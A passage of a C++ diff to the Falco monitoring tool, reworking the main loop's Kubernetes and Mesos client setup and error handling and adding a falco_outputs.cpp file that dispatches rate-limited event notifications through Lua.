+		duration = ((double)clock()) / CLOCKS_PER_SEC;
+
+		//
+		// run k8s, if required
+		//
+		if(k8s_api)
+		{
+			if(!k8s_api_cert)
+			{
+				if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
+				{
+					k8s_api_cert = new string(k8s_cert_env);
+				}
+			}
+			inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
+			k8s_api = 0;
+			k8s_api_cert = 0;
+		}
+		else if(char* k8s_api_env = getenv("FALCO_K8S_API"))
+		{
+			if(k8s_api_env != NULL)
+			{
+				if(!k8s_api_cert)
+				{
+					if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
+					{
+						k8s_api_cert = new string(k8s_cert_env);
+					}
+				}
+				k8s_api = new string(k8s_api_env);
+				inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
+			}
+			else
+			{
+				delete k8s_api;
+				delete k8s_api_cert;
+			}
+			k8s_api = 0;
+			k8s_api_cert = 0;
+		}
+
+		//
+		// run mesos, if required
+		//
+		if(mesos_api)
+		{
+			inspector->init_mesos_client(mesos_api, verbose);
+		}
+		else if(char* mesos_api_env = getenv("FALCO_MESOS_API"))
+		{
+			if(mesos_api_env != NULL)
+			{
+				mesos_api = new string(mesos_api_env);
+				inspector->init_mesos_client(mesos_api, verbose);
+			}
+		}
+		delete mesos_api;
+		mesos_api = 0;
+
+		num_evts = do_inspect(engine,
+				      outputs,
+				      inspector,
+				      uint64_t(duration_to_tot*ONE_SECOND_IN_NS),
+				      stats_filename);
+
+		duration = ((double)clock()) / CLOCKS_PER_SEC - duration;
+
+		inspector->get_capture_stats(&cstats);
+
+		if(verbose)
+		{
+			fprintf(stderr, "Driver Events:%" PRIu64 "\nDriver Drops:%" PRIu64 "\n",
+				cstats.n_evts,
+				cstats.n_drops);
+
+			fprintf(stderr, "Elapsed time: %.3lf, Captured Events: %" PRIu64 ", %.2lf eps\n",
+				duration,
+				num_evts,
+				num_evts / duration);
+		}
 
 		inspector->close();
-	}
-	catch(sinsp_exception& e)
-	{
-		display_fatal_err("Runtime error: " + string(e.what()) + ". Exiting.\n", daemon);
 
-		result = EXIT_FAILURE;
+		engine->print_stats();
 	}
-	catch(...)
+	catch(exception &e)
 	{
-		display_fatal_err("Unexpected error, Exiting\n", daemon);
+		display_fatal_err("Runtime error: " + string(e.what()) + ". Exiting.\n");
 
 		result = EXIT_FAILURE;
 	}
 
 exit:
 
-	if(inspector)
-	{
-		delete inspector;
-	}
+	delete inspector;
+	delete engine;
+	delete outputs;
 
-	if(ls)
-	{
-		lua_close(ls);
-	}
 	return result;
 }
 

userspace/falco/falco_outputs.cpp

@@ -0,0 +1,137 @@
+/*
+Copyright (C) 2016 Draios inc.
+
+This file is part of falco.
+
+falco is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License version 2 as
+published by the Free Software Foundation.
+
+falco is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with falco.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include "falco_outputs.h"
+
+#include "config_falco.h"
+
+
+#include "formats.h"
+#include "logger.h"
+
+using namespace std;
+
+falco_outputs::falco_outputs()
+	: m_initialized(false)
+{
+
+}
+
+falco_outputs::~falco_outputs()
+{
+	if(m_initialized)
+	{
+		lua_getglobal(m_ls, m_lua_output_cleanup.c_str());
+
+		if(!lua_isfunction(m_ls, -1))
+		{
+			throw falco_exception("No function " + m_lua_output_cleanup + " found. ");
+		}
+
+		if(lua_pcall(m_ls, 0, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			throw falco_exception(string(lerr));
+		}
+	}
+}
+
+void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst)
+{
+	// The engine must have been given an inspector by now.
+	if(! m_inspector)
+	{
+		throw falco_exception("No inspector provided");
+	}
+
+	falco_common::init(m_lua_main_filename.c_str(), FALCO_SOURCE_LUA_DIR);
+
+	// Note that falco_formats is added to both the lua state used
+	// by the falco engine as well as the separate lua state used
+	// by falco outputs.
+	falco_formats::init(m_inspector, m_ls, json_output);
+
+	falco_logger::init(m_ls);
+
+	m_notifications_tb.init(rate, max_burst);
+
+	m_initialized = true;
+}
+
+void falco_outputs::add_output(output_config oc)
+{
+	uint8_t nargs = 1;
+	lua_getglobal(m_ls, m_lua_add_output.c_str());
+
+	if(!lua_isfunction(m_ls, -1))
+	{
+		throw falco_exception("No function " + m_lua_add_output + " found. ");
+	}
+	lua_pushstring(m_ls, oc.name.c_str());
+
+	// If we have options, build up a lua table containing them
+	if (oc.options.size())
+	{
+		nargs = 2;
+		lua_createtable(m_ls, 0, oc.options.size());
+
+		for (auto it = oc.options.cbegin(); it != oc.options.cend(); ++it)
+		{
+			lua_pushstring(m_ls, (*it).second.c_str());
+			lua_setfield(m_ls, -2, (*it).first.c_str());
+		}
+	}
+
+	if(lua_pcall(m_ls, nargs, 0, 0) != 0)
+	{
+		const char* lerr = lua_tostring(m_ls, -1);
+		throw falco_exception(string(lerr));
+	}
+
+}
+
+void falco_outputs::handle_event(sinsp_evt *ev, string &rule, string &priority, string &format)
+{
+	if(!m_notifications_tb.claim())
+	{
+		falco_logger::log(LOG_DEBUG, "Skipping rate-limited notification for rule " + rule + "\n");
+		return;
+	}
+
+	lua_getglobal(m_ls, m_lua_output_event.c_str());
+
+	if(lua_isfunction(m_ls, -1))
+	{
+		lua_pushlightuserdata(m_ls, ev);
+		lua_pushstring(m_ls, rule.c_str());
+		lua_pushstring(m_ls, priority.c_str());
+		lua_pushstring(m_ls, format.c_str());
+
+		if(lua_pcall(m_ls, 4, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(m_ls, -1);
+			string err = "Error invoking function output: " + string(lerr);
+			throw falco_exception(err);
+		}
+	}
+	else
+	{
+		throw falco_exception("No function " + m_lua_output_event + " found in lua compiler module");
+	}
+
+}